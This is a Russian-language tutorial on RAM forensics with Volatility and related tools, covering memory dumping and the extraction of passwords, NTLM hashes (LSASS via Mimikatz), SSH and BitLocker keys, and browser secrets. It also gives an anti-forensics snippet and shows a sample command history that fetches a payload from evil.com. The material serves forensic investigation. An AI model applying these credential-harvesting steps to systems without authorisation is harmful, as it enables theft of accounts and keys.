Memory Forensics: как из дампа ОЗУ вытащить всё до последнего пароля
Привет, друг!
Почему ОЗУ — это клад
Оперативная память — это золотая жила для форензики. В отличие от жёсткого диска, в RAM хранится всё в открытом виде: расшифрованные данные, пароли в plaintext, ключи шифрования, история команд, открытые документы. Пока система работает, всё это болтается в памяти без защиты.
Даже если диск зашифрован BitLocker’ом или LUKS’ом — в памяти лежат расшифрованные данные. Закрыл браузер с паролями? Они ещё минут 20 болтаются в RAM. Вот почему дамп памяти — это святой Грааль для исследователя.
Получение дампа памяти
Windows
Классика — WinPmem:
winpmem_mini_x64.exe memory.raw
Для live-систем — DumpIt:
DumpIt.exe /O memory.dmp
Через VMware (если это виртуалка):
vmss2core -W memory.vmem memory.raw
Linux
Через LiME (Linux Memory Extractor):
# Компилируем модуль
cd LiME/src
make
# Загружаем и дампим
insmod lime-*.ko "path=/tmp/memory.lime format=lime"
Или через /dev/mem (старый способ):
dd if=/dev/mem of=/tmp/memory.dd bs=1M
macOS
Используем OSXPmem:
sudo osxpmem.app/osxpmem -o memory.aff4
Volatility — главное оружие
Volatility — это швейцарский нож memory forensics. Последняя версия — Volatility 3.
Установка:
pip3 install volatility3
Первым делом определяем профиль образа:
vol -f memory.raw windows.info
Базовые техники извлечения
Список процессов
vol -f memory.raw windows.pslist
vol -f memory.raw windows.pstree # В виде дерева
Скрытые процессы (rootkit detection):
vol -f memory.raw windows.psxview
Сетевые соединения
vol -f memory.raw windows.netscan
Вывод покажет все TCP/UDP соединения, включая закрытые:
Offset Proto LocalAddr ForeignAddr State PID
0x1234 TCP 192.168.1.100:445 10.0.0.5:12345 ESTABLISHED 4
История команд
Для CMD:
vol -f memory.raw windows.cmdline
Для PowerShell (через ConsoleHost):
vol -f memory.raw windows.consoles
Результат:
CommandHistory: 0x1abc1000 Application: powershell.exe Flags:
CommandCount: 5 LastAdded: 4 LastDisplayed: 4
0: Get-Credential
1: $pass = ConvertTo-SecureString "P@ssw0rd123" -AsPlainText
2: Invoke-WebRequest http://evil.com/payload.exe
Извлечение файлов из памяти
Дамп конкретного процесса:
vol -f memory.raw -o dump/ windows.memmap --pid 1337 --dump
Поиск файлов в кэше:
vol -f memory.raw windows.filescan
Охота за паролями
Mimikatz в памяти
Ищем процесс LSASS (где хранятся credential):
vol -f memory.raw windows.pslist | grep lsass
Дампим LSASS:
vol -f memory.raw -o lsass.dmp windows.memmap --pid <LSASS_PID> --dump
Теперь прогоняем через Mimikatz:
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
Результат:
Authentication Id : 0 ; 123456
User Name : admin
Domain : WORKGROUP
NTLM : 8846f7eaee8fb117ad06bdd830b7586c
SHA1 : a94a8fe5ccb19ba61c4c0873d391e987982fbbd3
Браузеры — кладезь паролей
Chrome хранит пароли в процессе. Дампим и ищем:
vol -f memory.raw windows.vadyarascan --yara-rules "chrome.exe" --pid <CHROME_PID>
Поиск строк с паролями:
strings chrome.dmp | grep -E "(password|passwd|pwd)[:=]"
Пример вывода:
{"username":"admin@site.com","password":"SuperSecret123"}
SSH ключи и приватники
Ищем ssh-agent или pageant:
vol -f memory.raw linux.pslist | grep ssh-agent
Извлекаем память процесса и ищем RSA маркеры:
strings ssh-agent.dmp | grep -A 30 "BEGIN RSA PRIVATE KEY"
Hashdump — классика Windows
Извлекаем SAM и SYSTEM для получения хешей:
vol -f memory.raw windows.hashdump
Вывод:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
User:1001:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
Теперь гоним через John the Ripper или Hashcat.
Продвинутые техники
Извлечение SSL/TLS ключей
Если в памяти есть OpenSSL процесс, можно вытащить session keys:
vol -f memory.raw linux.bash | grep "SSLKEYLOGFILE"
Или через дамп процесса Firefox/Chrome ищем CLIENT_RANDOM:
strings firefox.dmp | grep "CLIENT_RANDOM"
Эти ключи можно использовать в Wireshark для расшифровки HTTPS трафика.
Clipboard data
Содержимое буфера обмена:
vol -f memory.raw windows.clipboard
Часто там висят скопированные пароли из менеджеров паролей.
Registry hives
Извлекаем ключи реестра:
vol -f memory.raw windows.registry.printkey --key "Software\Microsoft\Windows\CurrentVersion\Run"
Автозапуск, сохранённые WiFi пароли, RDP истории — всё там.
BitLocker ключи
Если система была с включённым BitLocker:
vol -f memory.raw windows.bitlocker
Или через strings:
strings memory.raw | grep -i "fvek" # Full Volume Encryption Key
Keylogger detection
Ищем хуки клавиатуры:
vol -f memory.raw windows.keyboard
Или находим подозрительные DLL инжекты:
vol -f memory.raw windows.malfind
Автоматизация через скрипты
Вот быстрый Python-скрипт для массового извлечения:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
import subprocess import re memory_dump = "memory.raw" output_dir = "extracted/" # Список команд для выполнения commands = [ ("pslist", "windows.pslist"), ("netscan", "windows.netscan"), ("cmdline", "windows.cmdline"), ("hashdump", "windows.hashdump"), ] for name, plugin in commands: print(f"[*] Running {plugin}...") result = subprocess.run( ["vol", "-f", memory_dump, plugin], capture_output=True, text=True ) with open(f"{output_dir}{name}.txt", "w") as f: f.write(result.stdout) # Поиск паролей в выводе passwords = re.findall(r'password[:\s]+([^\s]+)', result.stdout, re.IGNORECASE) if passwords: print(f"[!] Found passwords in {name}: {passwords}") print("[+] Extraction complete!") |
Специализированные инструменты
Bulk Extractor
Автоматический поиск артефактов:
bulk_extractor -o output/ memory.raw
Найдёт email адреса, кредитки, URL, JSON с паролями.
MemProcFS
Монтирует дамп как файловую систему:
memprocfs -device memory.raw -mount Z:
Теперь можешь ходить по памяти как по обычным папкам.
Rekall
Альтернатива Volatility с интерактивным режимом:
rekall -f memory.raw
Redline
GUI-тул от FireEye для Windows:
- Импортируй дамп
- Запусти автоматический анализ
- Получи отчёт с IOC и подозрительными активностями
Реальные кейсы
DarkSide Ransomware: Исследователи через memory forensics восстановили ключи шифрования из оперативки зараженной машины, что позволило расшифровать файлы без выкупа.
APT28: Анализ дампа памяти сервера выявил backdoor, который не оставлял следов на диске, но был полностью виден в RAM — включая C2 адреса и payload в plaintext.
Insider Threat: Компания через forensics дампа ноутбука сотрудника нашла в памяти FTP credentials к конкурентам и историю передачи файлов.
Защита от memory forensics
Шифрование памяти
Используй системы с encrypted RAM (Intel TME, AMD SME):
# Проверка поддержки
grep -i "tmе" /proc/cpuinfo
Очистка памяти
При завершении приложения:
|
1 2 3 4 5 6 7 8 9 |
#include <string.h> void secure_clear(void *ptr, size_t len) { volatile unsigned char *p = ptr; while (len--) *p++ = 0; } // После использования пароля secure_clear(password, strlen(password)); |
Anti-forensics
Детект дампа и самоуничтожение:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
import psutil def detect_memory_dump(): for proc in psutil.process_iter(['name']): # Ищем инструменты для дампа if 'winpmem' in proc.info['name'].lower(): return True if 'dumpit' in proc.info['name'].lower(): return True return False if detect_memory_dump(): # Очищаем чувствительные данные secure_wipe() # Или крашим процесс os._exit(1) |
Guard Pages
Храни секреты на защищённых страницах:
|
1 2 3 4 5 6 |
#include <sys/mman.h> void *secure = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); mlock(secure, PAGE_SIZE); // Запрет свопа |
Чеклист для анализа
- Определи профиль и ОС через
windows.info/linux.banner - Проверь процессы и найди подозрительные через
pslist - Извлеки LSASS для credential
- Дампни браузеры для паролей и cookies
- Проанализируй сетевые соединения
netscan - Поищи скрытые процессы через
psxview - Извлеки историю команд
cmdline/bash - Проверь registry для автозапуска и сохранённых данных
- Найди injected DLL через
malfind - Поищи clipboard data и keylogger артефакты
- Используй
stringsдля поиска plaintext секретов - Проверь наличие encryption keys (BitLocker, TrueCrypt)
Полезные regex для strings
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
# Email strings memory.raw | grep -E "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b" # Пароли strings memory.raw | grep -iE "(password|pwd|passwd)[=:\s]" # API ключи strings memory.raw | grep -E "api[_-]?key[=:\s]" # Приватные ключи strings memory.raw | grep "BEGIN.*PRIVATE KEY" # Кредитки strings memory.raw | grep -E "\b[0-9]{4}[- ]?[0-9]{4}[- ]?[0-9]{4}[- ]?[0-9]{4}\b" |

На этом все. Всем хорошего дня!
